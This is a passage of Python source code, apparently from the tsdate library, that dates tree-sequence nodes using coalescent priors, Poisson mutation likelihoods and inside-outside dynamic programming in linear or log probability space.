probability_space == LOG:\n if self.probability_space == LOG:\n pass\n elif self.probability_space == LIN:\n with np.errstate(divide='ignore'):\n self.grid_data = np.log(self.grid_data)\n self.fixed_data = np.log(self.fixed_data)\n self.probability_space = LOG\n else:\n logging.warning(\"Cannot force\", *descr)\n else:\n logging.warning(\"Cannot force\", *descr)\n\n def normalize(self):\n \"\"\"\n normalize grid and fixed data so the max is one\n \"\"\"\n rowmax = self.grid_data[:, 1:].max(axis=1)\n if self.probability_space == LIN:\n self.grid_data = self.grid_data / rowmax[:, np.newaxis]\n elif self.probability_space == LOG:\n self.grid_data = self.grid_data - rowmax[:, np.newaxis]\n else:\n raise RuntimeError(\"Probability space is not\", LIN, \"or\", LOG)\n\n def __getitem__(self, node_id):\n index = self.row_lookup[node_id]\n if index < 0:\n return self.fixed_data[1 + index]\n else:\n return self.grid_data[index, :]\n\n def __setitem__(self, node_id, value):\n index = self.row_lookup[node_id]\n if index < 0:\n self.fixed_data[1 + index] = value\n else:\n self.grid_data[index, :] = value\n\n def clone_with_new_data(\n self, grid_data=np.nan, fixed_data=None, probability_space=None):\n \"\"\"\n Take the row indices etc from an existing NodeGridValues object and make a new\n similar one but with different data. If grid_data is a single number, fill the\n entire data array with that, otherwise assume the data is a numpy array of the\n correct size to fill the gridded data. If grid_data is None, fill with NaN\n\n If fixed_data is None and grid_data is a single number, use the same value as\n grid_data for the fixed data values. If fixed_data is None and grid_data is an\n array, set the fixed data to np.nan\n \"\"\"\n def fill_fixed(orig, fixed_data):\n if type(fixed_data) is np.ndarray:\n if orig.fixed_data.shape != fixed_data.shape:\n raise ValueError(\n \"The fixed data array must be the same shape as the original\")\n return fixed_data\n else:\n return np.full(\n orig.fixed_data.shape, fixed_data, dtype=orig.fixed_data.dtype)\n new_obj = NodeGridValues.__new__(NodeGridValues)\n new_obj.num_nodes = self.num_nodes\n new_obj.nonfixed_nodes = self.nonfixed_nodes\n new_obj.num_nonfixed = self.num_nonfixed\n new_obj.row_lookup = self.row_lookup\n if type(grid_data) is np.ndarray:\n if self.grid_data.shape != grid_data.shape:\n raise ValueError(\n \"The grid data array must be the same shape as the original\")\n new_obj.grid_data = grid_data\n new_obj.fixed_data = fill_fixed(\n self, np.nan if fixed_data is None else fixed_data)\n else:\n if grid_data == 0: # Fast allocation\n new_obj.grid_data = np.zeros(\n self.grid_data.shape, dtype=self.grid_data.dtype)\n else:\n new_obj.grid_data = np.full(\n self.grid_data.shape, grid_data, dtype=self.grid_data.dtype)\n new_obj.fixed_data = fill_fixed(\n self, grid_data if fixed_data is None else fixed_data)\n if probability_space is None:\n new_obj.probability_space = self.probability_space\n else:\n new_obj.probability_space = probability_space\n return new_obj\n\n\ndef fill_prior(distr_parameters, grid, ts, nodes_to_date, prior_distr,\n progress=False):\n \"\"\"\n Take the alpha and beta values from the distr_parameters data frame\n and fill out a NodeGridValues object with the prior values from the\n gamma or lognormal distribution with those parameters.\n\n TODO - what if there is an internal fixed node? Should we truncate\n \"\"\"\n # Sort nodes-to-date by time, as that's the order given when iterating over edges\n prior_times = NodeGridValues(\n ts.num_nodes,\n nodes_to_date[np.argsort(ts.tables.nodes.time[nodes_to_date])].astype(np.int32),\n len(grid))\n if prior_distr == 'lognorm':\n cdf_func = scipy.stats.lognorm.cdf\n main_param = np.sqrt(distr_parameters[:, BETA])\n scale_param = np.exp(distr_parameters[:, ALPHA])\n elif prior_distr == 'gamma':\n cdf_func = scipy.stats.gamma.cdf\n main_param = distr_parameters[:, ALPHA]\n scale_param = 1 / distr_parameters[:, BETA]\n else:\n raise ValueError(\"prior distribution must be lognorm or gamma\")\n\n for node in tqdm(nodes_to_date, desc=\"GetPrior\", disable=not progress):\n prior_node = cdf_func(grid, main_param[node], scale=scale_param[node])\n # force age to be less than max value\n prior_node = np.divide(prior_node, np.max(prior_node))\n # prior in each epoch\n prior_times[node] = np.concatenate([np.array([0]), np.diff(prior_node)])\n # normalize so max value is 1\n prior_times.normalize()\n return prior_times\n\n\nclass Likelihoods:\n \"\"\"\n A class to store and process likelihoods. Likelihoods for edges are stored as a\n flattened lower triangular matrix of all the possible delta t's. This class also\n provides methods for accessing this lower triangular matrix, multiplying it, etc.\n \"\"\"\n probability_space = LIN\n identity_constant = 1.0\n null_constant = 0.0\n\n def __init__(self, ts, grid, theta=None, eps=0, fixed_node_set=None, normalize=True):\n self.ts = ts\n self.grid = grid\n self.fixednodes = set(ts.samples()) if fixed_node_set is None else fixed_node_set\n self.theta = theta\n self.normalize = normalize\n self.grid_size = len(grid)\n self.tri_size = self.grid_size * (self.grid_size + 1) / 2\n self.ll_mut = {}\n self.mut_edges = self.get_mut_edges(ts)\n # Need to set eps properly in the 2 lines below, to account for values in the\n # same timeslice\n self.timediff_lower_tri = np.concatenate(\n [self.grid[time_index] - self.grid[0:time_index + 1] + eps\n for time_index in np.arange(len(self.grid))])\n self.timediff = self.grid - self.grid[0] + eps\n\n # The mut_ll contains unpacked (1D) lower triangular matrices. We need to\n # index this by row and by column index.\n self.row_indices = []\n for time in range(self.grid_size):\n n = np.arange(self.grid_size)\n self.row_indices.append((((n * (n + 1)) // 2) + time)[time:])\n self.col_indices = []\n running_sum = 0 # use this to find the index of the last element of\n # each column in order to appropriately sum the vv by columns.\n for i in np.arange(self.grid_size):\n arr = np.arange(running_sum, running_sum + self.grid_size - i)\n index = arr[-1]\n running_sum = index + 1\n val = arr[0]\n self.col_indices.append(val)\n\n # These are used for transforming an array of grid_size into one of tri_size\n # By repeating elements over rows to form an upper or a lower triangular matrix\n self.to_lower_tri = np.concatenate(\n [np.arange(time_idx + 1) for time_idx in np.arange(self.grid_size)])\n self.to_upper_tri = np.concatenate(\n [np.arange(time_idx, self.grid_size)\n for time_idx in np.arange(self.grid_size + 1)])\n\n @staticmethod\n def get_mut_edges(ts):\n \"\"\"\n Get the number of mutations on each edge in the tree sequence.\n \"\"\"\n edge_diff_iter = ts.edge_diffs()\n right = 0\n edges_by_child = {} # contains {child_node:edge_id}\n mut_edges = np.zeros(ts.num_edges, dtype=np.int64)\n for site in ts.sites():\n while right <= site.position:\n (left, right), edges_out, edges_in = next(edge_diff_iter)\n for e in edges_out:\n del edges_by_child[e.child]\n for e in edges_in:\n assert e.child not in edges_by_child\n edges_by_child[e.child] = e.id\n for m in site.mutations:\n # In some cases, mutations occur above the root\n # These don't provide any information for the inside step\n if m.node in edges_by_child:\n edge_id = edges_by_child[m.node]\n mut_edges[edge_id] += 1\n return mut_edges\n\n @staticmethod\n def _lik(muts, span, dt, theta, normalize=True):\n \"\"\"\n The likelihood of an edge given a number of mutations, as set of time deltas (dt)\n and a span. This is a static function to allow parallelization\n \"\"\"\n ll = scipy.stats.poisson.pmf(muts, dt * theta / 2 * span)\n if normalize:\n return ll / np.max(ll)\n else:\n return ll\n\n @staticmethod\n def _lik_wrapper(muts_span, dt, theta, normalize=True):\n \"\"\"\n A wrapper to allow this _lik to be called by pool.imap_unordered, returning the\n mutation and span values\n \"\"\"\n return muts_span, Likelihoods._lik(muts_span[0], muts_span[1], dt, theta,\n normalize=normalize)\n\n def precalculate_mutation_likelihoods(\n self, num_threads=None, unique_method=0):\n \"\"\"\n We precalculate these because the pmf function is slow, but can be trivially\n parallelised. We store the likelihoods in a cache because they only depend on\n the number of mutations and the span, so can potentially be reused.\n\n However, we don't bother storing the likelihood for edges above a *fixed* node,\n because (a) these are only used once per node and (b) sample edges are often\n long, and hence their span will be unique. This also allows us to deal easily\n with fixed nodes at explicit times (rather than in time slices)\n \"\"\"\n if self.theta is None:\n raise RuntimeError(\"Cannot calculate mutation likelihoods with no theta set\")\n if unique_method == 0:\n self.unfixed_likelihood_cache = {\n (muts, e.span): None for muts, e in\n zip(self.mut_edges, self.ts.edges())\n if e.child not in self.fixednodes}\n else:\n edges = self.ts.tables.edges\n fixed_nodes = np.array(list(self.fixednodes))\n keys = np.unique(\n np.core.records.fromarrays(\n (self.mut_edges, edges.right-edges.left), names='muts,span')[\n np.logical_not(np.isin(edges.child, fixed_nodes))])\n if unique_method == 1:\n self.unfixed_likelihood_cache = dict.fromkeys({tuple(t) for t in keys})\n else:\n self.unfixed_likelihood_cache = {tuple(t): None for t in keys}\n\n if num_threads:\n f = functools.partial( # Set constant values for params for static _lik\n self._lik_wrapper, dt=self.timediff_lower_tri, theta=self.theta)\n if num_threads == 1:\n # Useful for testing\n for key in self.unfixed_likelihood_cache.keys():\n returned_key, likelihoods = f(key)\n self.unfixed_likelihood_cache[returned_key] = likelihoods\n else:\n with multiprocessing.Pool(processes=num_threads) as pool:\n for key, pmf in pool.imap_unordered(\n f, self.unfixed_likelihood_cache.keys()):\n self.unfixed_likelihood_cache[key] = pmf\n else:\n for muts, span in self.unfixed_likelihood_cache.keys():\n self.unfixed_likelihood_cache[muts, span] = self._lik(\n muts, span, dt=self.timediff_lower_tri, theta=self.theta,\n normalize=self.normalize)\n\n def get_mut_lik_fixed_node(self, edge):\n \"\"\"\n Get the mutation likelihoods for an edge whose child is at a\n fixed time, but whose parent may take any of the time slices in the time grid\n that are equal to or older than the child age. This is not cached, as it is\n likely to be unique for each edge\n \"\"\"\n assert edge.child in self.fixednodes, \\\n \"Wrongly called fixed node function on non-fixed node\"\n assert self.theta is not None, \\\n \"Cannot calculate mutation likelihoods with no theta set\"\n\n mutations_on_edge = self.mut_edges[edge.id]\n child_time = self.ts.node(edge.child).time\n assert child_time == 0\n # Temporary hack - we should really take a more precise likelihood\n return self._lik(mutations_on_edge, edge.span, self.timediff, self.theta,\n normalize=self.normalize)\n\n def get_mut_lik_lower_tri(self, edge):\n \"\"\"\n Get the cached mutation likelihoods for an edge with non-fixed parent and child\n nodes, returning values for all the possible time differences between times on\n the grid. These values are returned as a flattened lower triangular matrix, the\n form required in the inside algorithm.\n\n \"\"\"\n # Debugging asserts - should probably remove eventually\n assert edge.child not in self.fixednodes, \\\n \"Wrongly called lower_tri function on fixed node\"\n assert hasattr(self, \"unfixed_likelihood_cache\"), \\\n \"Must call `precalculate_mutation_likelihoods()` before getting likelihoods\"\n\n mutations_on_edge = self.mut_edges[edge.id]\n return self.unfixed_likelihood_cache[mutations_on_edge, edge.span]\n\n def get_mut_lik_upper_tri(self, edge):\n \"\"\"\n Same as :meth:`get_mut_lik_lower_tri`, but the returned array is ordered as\n flattened upper triangular matrix (suitable for the outside algorithm), rather\n than a lower triangular one\n \"\"\"\n return self.get_mut_lik_lower_tri(edge)[np.concatenate(self.row_indices)]\n\n # The following functions don't access the likelihoods directly, but allow\n # other input arrays of length grid_size to be repeated in such a way that they can\n # be directly multiplied by the unpacked lower triangular matrix, or arrays of length\n # of the number of cells in the lower triangular matrix to be summed (e.g. by row)\n # to give a shorter array of length grid_size\n\n def make_lower_tri(self, input_array):\n \"\"\"\n Repeat the input array row-wise to make a flattened lower triangular matrix\n \"\"\"\n assert len(input_array) == self.grid_size\n return input_array[self.to_lower_tri]\n\n def rowsum_lower_tri(self, input_array):\n \"\"\"\n Describe the reduceat trickery here. Presumably the opposite of make_lower_tri\n \"\"\"\n assert len(input_array) == self.tri_size\n return np.add.reduceat(input_array, self.row_indices[0])\n\n def make_upper_tri(self, input_array):\n \"\"\"\n Repeat the input array row-wise to make a flattened upper triangular matrix\n \"\"\"\n assert len(input_array) == self.grid_size\n return input_array[self.to_upper_tri]\n\n def rowsum_upper_tri(self, input_array):\n \"\"\"\n Describe the reduceat trickery here. Presumably the opposite of make_upper_tri\n \"\"\"\n assert len(input_array) == self.tri_size\n return np.add.reduceat(input_array, self.col_indices)\n\n # Mutation & recombination algorithms on a tree sequence\n\n def n_breaks(self, edge):\n \"\"\"\n Number of known breakpoints, only used in recombination likelihood calc\n \"\"\"\n return (edge.left != 0) + (edge.right != self.ts.get_sequence_length())\n\n def combine(self, lik_1, lik_2):\n return lik_1 * lik_2\n\n def reduce(self, lik_1, lik_2, div_0_null=False):\n \"\"\"\n In linear space, this divides lik_1 by lik_2\n If div_0_null==True, then 0/0 is set to the null_constant\n\n NB: \"reduce\" is not a very good name for the function: can we think of\n something better that will also be meaningful in log space?\n \"\"\"\n with np.errstate(divide='ignore', invalid='ignore'):\n ret = lik_1/lik_2\n if div_0_null:\n ret[np.isnan(ret)] = self.null_constant\n return ret\n\n def _recombination_lik(self, rho, edge, fixed=True):\n # Needs to return a lower tri *or* flattened array depending on `fixed`\n raise NotImplementedError\n # return (\n # np.power(prev_state, self.n_breaks(edge)) *\n # np.exp(-(prev_state * rho * edge.span * 2)))\n\n def get_inside(self, arr, edge, theta=None, rho=None):\n liks = self.identity_constant\n if rho is not None:\n liks = self._recombination_lik(rho, edge)\n if theta is not None:\n liks *= self.get_mut_lik_lower_tri(edge)\n return self.rowsum_lower_tri(arr * liks)\n\n def get_outside(self, arr, edge, theta=None, rho=None):\n liks = self.identity_constant\n if rho is not None:\n liks = self._recombination_lik(rho, edge)\n if theta is not None:\n liks *= self.get_mut_lik_upper_tri(edge)\n return self.rowsum_upper_tri(arr * liks)\n\n def get_fixed(self, arr, edge, theta=None, rho=None):\n liks = self.identity_constant\n if rho is not None:\n liks = self._recombination_lik(rho, edge, fixed=True)\n if theta is not None:\n liks *= self.get_mut_lik_fixed_node(edge)\n return arr * liks\n\n def scale_geometric(self, fraction, value):\n return value ** fraction\n\n\nclass LogLikelihoods(Likelihoods):\n \"\"\"\n Identical to the Likelihoods class but stores and returns log likelihoods\n \"\"\"\n probability_space = LOG\n identity_constant = 0.0\n null_constant = -np.inf\n\n @staticmethod\n @numba.jit(nopython=True)\n def logsumexp(X):\n r = 0.0\n for x in X:\n r += np.exp(x)\n return np.log(r)\n\n @staticmethod\n def _lik(muts, span, dt, theta, normalize=True):\n \"\"\"\n The likelihood of an edge given a number of mutations, as set of time deltas (dt)\n and a span. This is a static function to allow parallelization\n \"\"\"\n ll = scipy.stats.poisson.logpmf(muts, dt * theta / 2 * span)\n if normalize:\n return ll - np.max(ll)\n else:\n return ll\n\n def rowsum_lower_tri(self, input_array):\n \"\"\"\n The function below is equivalent to (but numba makes it faster than)\n np.logaddexp.reduceat(input_array, self.row_indices[0])\n \"\"\"\n assert len(input_array) == self.tri_size\n res = list()\n i_start = self.row_indices[0][0]\n for cur_index, i in enumerate(self.row_indices[0][1:]):\n res.append(self.logsumexp(input_array[i_start:i]))\n i_start = i\n res.append(self.logsumexp(input_array[i:]))\n return np.array(res)\n\n def rowsum_upper_tri(self, input_array):\n \"\"\"\n The function below is equivalent to (but numba makes it faster than)\n np.logaddexp.reduceat(input_array, self.col_indices)\n \"\"\"\n assert len(input_array) == self.tri_size\n res = list()\n i_start = self.col_indices[0]\n for cur_index, i in enumerate(self.col_indices[1:]):\n res.append(self.logsumexp(input_array[i_start:i]))\n i_start = i\n res.append(self.logsumexp(input_array[i:]))\n return np.array(res)\n\n def _recombination_loglik(self, rho, edge, fixed=True):\n # Needs to return a lower tri *or* flattened array depending on `fixed`\n raise NotImplementedError\n # return (\n # np.power(prev_state, self.n_breaks(edge)) *\n # np.exp(-(prev_state * rho * edge.span * 2)))\n\n def combine(self, loglik_1, loglik_2):\n return loglik_1 + loglik_2\n\n def reduce(self, loglik_1, loglik_2, div_0_null=False):\n \"\"\"\n In log space, loglik_1 - loglik_2\n If div_0_null==True, then if either is -inf it returns -inf (the null_constant)\n \"\"\"\n with np.errstate(divide='ignore', invalid='ignore'):\n ret = loglik_1 - loglik_2\n if div_0_null:\n ret[np.isnan(ret)] = self.null_constant\n return ret\n\n def get_inside(self, arr, edge, theta=None, rho=None):\n log_liks = self.identity_constant\n if rho is not None:\n log_liks = self._recombination_loglik(rho, edge)\n if theta is not None:\n log_liks += self.get_mut_lik_lower_tri(edge)\n return self.rowsum_lower_tri(arr + log_liks)\n\n def get_outside(self, arr, edge, theta=None, rho=None):\n log_liks = self.identity_constant\n if rho is not None:\n log_liks = self._recombination_loglik(rho, edge)\n if theta is not None:\n log_liks += self.get_mut_lik_upper_tri(edge)\n return self.rowsum_upper_tri(arr + log_liks)\n\n def get_fixed(self, arr, edge, theta=None, rho=None):\n log_liks = self.identity_constant\n if rho is not None:\n log_liks = self._recombination_loglik(rho, edge, fixed=True)\n if theta is not None:\n log_liks += self.get_mut_lik_fixed_node(edge)\n return arr + log_liks\n\n def scale_geometric(self, fraction, value):\n return fraction * value\n\n\nclass LogLikelihoodsStreaming(LogLikelihoods):\n \"\"\"\n Identical to the LogLikelihoods class but uses an alternative to logsumexp,\n useful for large grid sizes, see\n http://www.nowozin.net/sebastian/blog/streaming-log-sum-exp-computation.html\n \"\"\"\n @staticmethod\n @numba.jit(nopython=True)\n def logsumexp(X):\n alpha = -np.Inf\n r = 0.0\n for x in X:\n if x != -np.Inf:\n if x <= alpha:\n r += np.exp(x - alpha)\n else:\n r *= np.exp(alpha - x)\n r += 1.0\n alpha = x\n return np.log(r) + alpha\n\n\nclass InOutAlgorithms:\n \"\"\"\n Contains the inside and outside algorithms\n \"\"\"\n def __init__(self, ts, prior, lik, spans, progress=False, extended_checks=False):\n self.ts = ts\n self.prior = prior\n self.nonfixed_nodes = prior.nonfixed_nodes\n self.spans = spans\n self.lik = lik\n self.fixednodes = lik.fixednodes\n self.progress = progress\n self.extended_checks = extended_checks\n # If necessary, convert prior to log space\n self.prior.force_probability_space(lik.probability_space)\n\n # === Grouped edge iterators ===\n\n def edges_by_parent_asc(self):\n \"\"\"\n Return an itertools.groupby object of edges grouped by parent in ascending order\n of the time of the parent. Since tree sequence properties guarantee that edges\n are listed in nondecreasing order of parent time\n (https://tskit.readthedocs.io/en/latest/data-model.html#edge-requirements)\n we can simply use the standard edge order\n \"\"\"\n return itertools.groupby(self.ts.edges(), operator.attrgetter('parent'))\n\n def edges_by_child_desc(self):\n \"\"\"\n Return an itertools.groupby object of edges grouped by child in descending order\n of the time of the parent.\n \"\"\"\n child_edges = (self.ts.edge(i) for i in reversed(\n np.argsort(self.ts.tables.nodes.time[self.ts.tables.edges.child[:]])))\n return itertools.groupby(child_edges, operator.attrgetter('child'))\n\n def edges_by_child_then_parent_desc(self):\n \"\"\"\n Return an itertools.groupby object of edges grouped by child in descending order\n of the time of the parent, then by descending order of age of child\n \"\"\"\n wtype = np.dtype([('Childage', 'f4'), ('Parentage', 'f4')])\n w = np.empty(\n len(self.ts.tables.nodes.time[self.ts.tables.edges.child[:]]), dtype=wtype)\n w['Childage'] = self.ts.tables.nodes.time[self.ts.tables.edges.child[:]]\n w['Parentage'] = -self.ts.tables.nodes.time[self.ts.tables.edges.parent[:]]\n sorted_child_parent = (self.ts.edge(i) for i in reversed(\n np.argsort(w, order=('Childage', 'Parentage'))))\n return itertools.groupby(sorted_child_parent, operator.attrgetter('child'))\n\n # === MAIN ALGORITHMS ===\n\n def inside_pass(self, theta, rho, *, normalize=True, progress=None):\n \"\"\"\n Use dynamic programming to find approximate posterior to sample from\n \"\"\"\n if progress is None:\n progress = self.progress\n\n inside = self.prior.clone_with_new_data( # store inside matrix values\n grid_data=np.nan, fixed_data=self.lik.identity_constant)\n g_i = np.full(\n (self.ts.num_edges, self.lik.grid_size), self.lik.identity_constant)\n norm = np.full(self.ts.num_nodes, np.nan)\n if self.extended_checks:\n spantot = np.zeros(self.ts.num_nodes)\n # Iterate through the nodes via groupby on parent node\n for parent, edges in tqdm(\n self.edges_by_parent_asc(), desc=\"Inside \",\n total=inside.num_nonfixed, disable=not progress):\n \"\"\"\n for each node, find the conditional prob of age at every time\n in time grid\n \"\"\"\n if parent in self.fixednodes:\n continue # there is no hidden state for this parent - it's fixed\n val = self.prior[parent].copy()\n for edge in edges:\n spanfrac = edge.span / self.spans[edge.child]\n if self.extended_checks:\n spantot[edge.child] += edge.span\n # Calculate vals for each edge\n if edge.child in self.fixednodes:\n # NB: geometric scaling works exactly when all nodes fixed in graph\n # but is an approximation when times are unknown.\n daughter_val = self.lik.scale_geometric(spanfrac, inside[edge.child])\n edge_lik = self.lik.get_fixed(daughter_val, edge, theta, rho)\n else:\n daughter_val = self.lik.scale_geometric(\n spanfrac, self.lik.make_lower_tri(inside[edge.child]))\n edge_lik = self.lik.get_inside(daughter_val, edge, theta, rho)\n val = self.lik.combine(val, edge_lik)\n g_i[edge.id] = edge_lik\n norm[parent] = np.max(val) if normalize else 1\n inside[parent] = self.lik.reduce(val, norm[parent])\n g_i = self.lik.reduce(g_i, norm[self.ts.tables.edges.child, None])\n\n # Keep the results in this object\n self.inside = inside\n self.g_i = g_i\n self.norm = norm\n if self.extended_checks:\n pass\n # assert np.allclose(\n # spantot[self.prior.nonfixed_nodes],\n # self.spans[self.prior.nonfixed_nodes])\n\n def outside_pass(\n self, theta, rho, *,\n normalize=False, progress=None, probability_space_returned=LIN):\n \"\"\"\n Computes the full posterior distribution on nodes.\n Input is population scaled mutation and recombination rates.\n\n Normalising may be necessary if there is overflow, but means that we cannot\n check the total functional value at each node\n\n The rows in the posterior returned correspond to node IDs as given by\n self.nodes\n \"\"\"\n if progress is None:\n progress = self.progress\n if not hasattr(self, \"inside\"):\n raise RuntimeError(\"You have not yet run the inside algorithm\")\n\n outside = self.inside.clone_with_new_data(\n grid_data=0, probability_space=LIN)\n\n # TO DO here: check that no fixed_nodes have children, otherwise we can't descend\n for tree in self.ts.trees():\n for root in tree.roots:\n if tree.num_children(root) == 0:\n # Isolated node\n continue\n outside[root] += (1 * tree.span) / self.spans[root]\n outside.force_probability_space(self.inside.probability_space)\n\n for child, edges in tqdm(\n self.edges_by_child_desc(), desc=\"Outside\",\n total=outside.num_nonfixed, disable=not progress):\n if child in self.fixednodes:\n continue\n val = np.full(self.lik.grid_size, self.lik.identity_constant)\n for edge in edges:\n if edge.parent in self.fixednodes:\n raise RuntimeError(\n \"Fixed nodes cannot currently be parents in the TS\")\n # Geometric scaling works exactly for all nodes fixed in graph\n # but is an approximation when times are unknown.\n spanfrac = edge.span / self.spans[child]\n if self.extended_checks:\n cur_g_i = self.lik.reduce(\n self.lik.rowsum_lower_tri(\n self.lik.combine(\n self.lik.scale_geometric(\n spanfrac,\n self.lik.make_lower_tri(self.inside[edge.child])),\n self.lik.get_mut_lik_lower_tri(edge))),\n self.norm[child])\n assert np.all(cur_g_i == self.g_i[edge.id])\n inside_div_gi = self.lik.reduce(\n self.inside[edge.parent], self.g_i[edge.id], div_0_null=True)\n parent_val = self.lik.scale_geometric(\n spanfrac,\n self.lik.make_upper_tri(\n self.lik.combine(outside[edge.parent], inside_div_gi)))\n edge_lik = self.lik.get_outside(parent_val, edge, theta, rho)\n val = self.lik.combine(val, edge_lik)\n\n # vv[0] = 0 # Seems a hack: internal nodes should be allowed at time 0\n assert self.norm[edge.child] > self.lik.null_constant\n outside[child] = self.lik.reduce(val, self.norm[child])\n if normalize:\n outside[child] = self.lik.reduce(val, np.max(val))\n posterior = outside.clone_with_new_data(\n grid_data=self.lik.combine(self.inside.grid_data, outside.grid_data),\n fixed_data=np.nan) # We should never use the posterior for a fixed node\n posterior.normalize()\n posterior.force_probability_space(probability_space_returned)\n self.outside = outside\n return posterior\n\n def outside_maximization(self, theta, eps=1e-6, progress=None):\n if progress is None:\n progress = self.progress\n if not hasattr(self, \"inside\"):\n raise RuntimeError(\"You have not yet run the inside algorithm\")\n maximized_node_times = np.zeros(self.ts.num_nodes, dtype='int')\n\n mut_edges = self.lik.mut_edges\n mrcas = np.where(np.isin(\n np.arange(self.ts.num_nodes), self.ts.tables.edges.child, invert=True))[0]\n for i in mrcas:\n if i not in self.fixednodes:\n maximized_node_times[i] = np.argmax(self.inside[i])\n\n for child, edges in tqdm(\n self.edges_by_child_then_parent_desc(), desc=\"MaxOut \",\n total=self.inside.num_nonfixed, disable=not progress):\n if child in self.fixednodes:\n continue\n for edge_index, edge in enumerate(edges):\n if edge_index == 0:\n youngest_par_index = maximized_node_times[edge.parent]\n parent_time = self.lik.grid[maximized_node_times[edge.parent]]\n ll_mut = scipy.stats.poisson.pmf(\n mut_edges[edge.id],\n (parent_time - self.lik.grid[:youngest_par_index + 1] + eps) *\n theta / 2 * edge.span)\n result = ll_mut / np.max(ll_mut)\n else:\n cur_parent_index = maximized_node_times[edge.parent]\n if cur_parent_index < youngest_par_index:\n youngest_par_index = cur_parent_index\n parent_time = self.lik.grid[maximized_node_times[edge.parent]]\n ll_mut = scipy.stats.poisson.pmf(\n mut_edges[edge.id], (parent_time -\n self.lik.grid[:youngest_par_index + 1] +\n eps) * theta / 2 * edge.span)\n result[:youngest_par_index + 1] *= (\n ll_mut[:youngest_par_index + 1] /\n np.max(ll_mut[:youngest_par_index + 1]))\n inside_val = self.inside[child][:(youngest_par_index + 1)]\n maximized_node_times[child] = np.argmax(\n result[:youngest_par_index + 1] * inside_val)\n # If we maximize the child node time to 0, we've probably missed some of the\n # upper end of the distribution. We take the mean instead\n if maximized_node_times[child] == 0:\n row = result[:youngest_par_index + 1] * inside_val\n row = row / np.sum(row)\n maximized_node_times[child] = np.sum(\n row * self.lik.grid[:youngest_par_index + 1]) / np.sum(row)\n\n return self.lik.grid[np.array(maximized_node_times).astype('int')]\n\n\ndef posterior_mean_var(ts, grid, posterior, fixed_node_set=None):\n \"\"\"\n Mean and variance of node age in scaled time. Fixed nodes will be given a mean\n of their exact time in the tree sequence, and zero variance (as long as they are\n identified by the fixed_node_set\n If fixed_node_set is None, we attempt to date all the non-sample nodes\n \"\"\"\n mn_post = np.full(ts.num_nodes, np.nan) # Fill with NaNs so we detect when there's\n vr_post = np.full(ts.num_nodes, np.nan) # been an error\n\n fixed_nodes = np.array(list(fixed_node_set))\n mn_post[fixed_nodes] = ts.tables.nodes.time[fixed_nodes]\n vr_post[fixed_nodes] = 0\n\n for row, node_id in zip(posterior.grid_data, posterior.nonfixed_nodes):\n mn_post[node_id] = np.sum(row * grid) / np.sum(row)\n vr_post[node_id] = np.sum(row * grid ** 2) / np.sum(row) - mn_post[node_id] ** 2\n return mn_post, vr_post\n\n\ndef constrain_ages_topo(ts, post_mn, grid, eps, nodes_to_date=None, progress=False):\n \"\"\"\n If predicted node times violate topology, restrict node ages so that they\n must be older than all their children.\n \"\"\"\n new_mn_post = np.copy(post_mn)\n if nodes_to_date is None:\n nodes_to_date = np.arange(ts.num_nodes, dtype=np.uint64)\n nodes_to_date = nodes_to_date[~np.isin(nodes_to_date, ts.samples())]\n\n tables = ts.tables\n parents = tables.edges.parent\n nd_children = tables.edges.child\n for nd in tqdm(sorted(nodes_to_date), disable=not progress):\n children = nd_children[parents == nd]\n time = new_mn_post[children]\n if np.any(new_mn_post[nd] <= time):\n # closest_time = (np.abs(grid - max(time))).argmin()\n # new_mn_post[nd] = grid[closest_time] + eps\n new_mn_post[nd] = np.max(time) + eps\n return new_mn_post\n\n\ndef date(tree_sequence, Ne, *args, progress=False, **kwargs):\n \"\"\"\n Take a tree sequence with arbitrary node times and recalculate node times using\n the `tsdate` algorithm. If both a mutation_rate and recombination_rate are given, a\n joint mutation and recombination clock is used to date the tree sequence. If only\n mutation_rate is given, only the mutation clock is used; similarly if only\n recombination_rate is given, only the recombination clock is used. If neither are\n given, a topology-only clock is used (**details***).\n\n :param TreeSequence tree_sequence: The input :class:`tskit.TreeSequence`, treated as\n undated.\n :param float Ne: The estimated effective population size\n :param float mutation_rate: The estimated mutation rate per unit of genome. If\n provided, the dating algorithm will use a mutation rate clock to help estimate\n node dates\n :param float recombination_rate: The estimated recombination rate per unit of genome.\n If provided, the dating algorithm will use a recombination rate clock to help\n estimate node dates\n :param string time_grid: How to space out the time grid. Currently can be either\n \"adaptive\" (the default) or \"uniform\". The adaptive time grid spaces out time\n points in even quantiles over the expected prior.\n :param int grid_slices: The number of slices used in the time grid\n :param float eps: The precision required (** deeper explanation required **)\n :param int num_threads: The number of threads to use. A simpler unthreaded algorithm\n is used unless this is >= 1 (default: None).\n :param bool approximate_prior: Whether to use a precalculated approximate prior or\n exactly calculate prior\n :param string prior_distr: What distribution to use to approximate the conditional\n coalescent prior. Can be \"lognorm\" for the lognormal distribution (generally a\n better fit, but slightly slower to calculate) or \"gamma\" for the gamma\n distribution (slightly faster, but a poorer fit for recent nodes). Default:\n \"lognorm\"\n :param string estimation_method: What estimation method to use: can be\n \"inside_outside\" (empirically better, theoretically problematic) or\n \"maximization\" (worse empirically, especially with a gamma approximated prior,\n but theoretically robust). Default: \"inside-outside\".\n :param bool outside_normalize: If carrying out the \"inside_outside\" method, should\n we normalize on the outside pass, which reduces the risk of numerical overflow,\n but makes it harder to check empirical consistency. Default: False\n :param bool check_valid_topology: Should we take time to check that the input tree\n sequence has only a single tree topology at each position, which is a requirement\n for tsdate (note that single \"isolated\" nodes are allowed). Default: True\n :param bool probability_space: Should the internal algorithm save probabilities in\n \"logarithmic\" (slower, less liable to to overflow) or \"linear\" space (fast, may\n overflow). Default: \"linear\"\n :param bool progress: Whether to display a progress bar.\n :return: A tree sequence with inferred node times.\n :rtype: tskit.TreeSequence\n \"\"\"\n dates, _, grid, eps, nds = get_dates(tree_sequence, Ne, *args, **kwargs)\n constrained = constrain_ages_topo(tree_sequence, dates, grid, eps, nds, progress)\n tables = tree_sequence.dump_tables()\n tables.nodes.time = constrained * 2 * Ne\n tables.sort()\n return tables.tree_sequence()\n\n\ndef get_dates(\n tree_sequence, Ne, mutation_rate=None, recombination_rate=None,\n *, time_grid='adaptive', grid_slices=10, eps=1e-6, num_threads=None,\n approximate_prior=None, prior_distr='lognorm',\n estimation_method='inside_outside', outside_normalize=False, progress=False,\n check_valid_topology=True, probability_space=LIN):\n \"\"\"\n Infer dates for the nodes in a tree sequence, returning an array of inferred dates\n for nodes, plus other variables such as the distribution of posterior probabilities\n etc. Parameters are identical to the date() method, which calls this method, then\n injects the resulting date estimates into the tree sequence\n\n :return: tuple(mn_post, posterior, grid, eps, nodes_to_date)\n \"\"\"\n if time_grid != 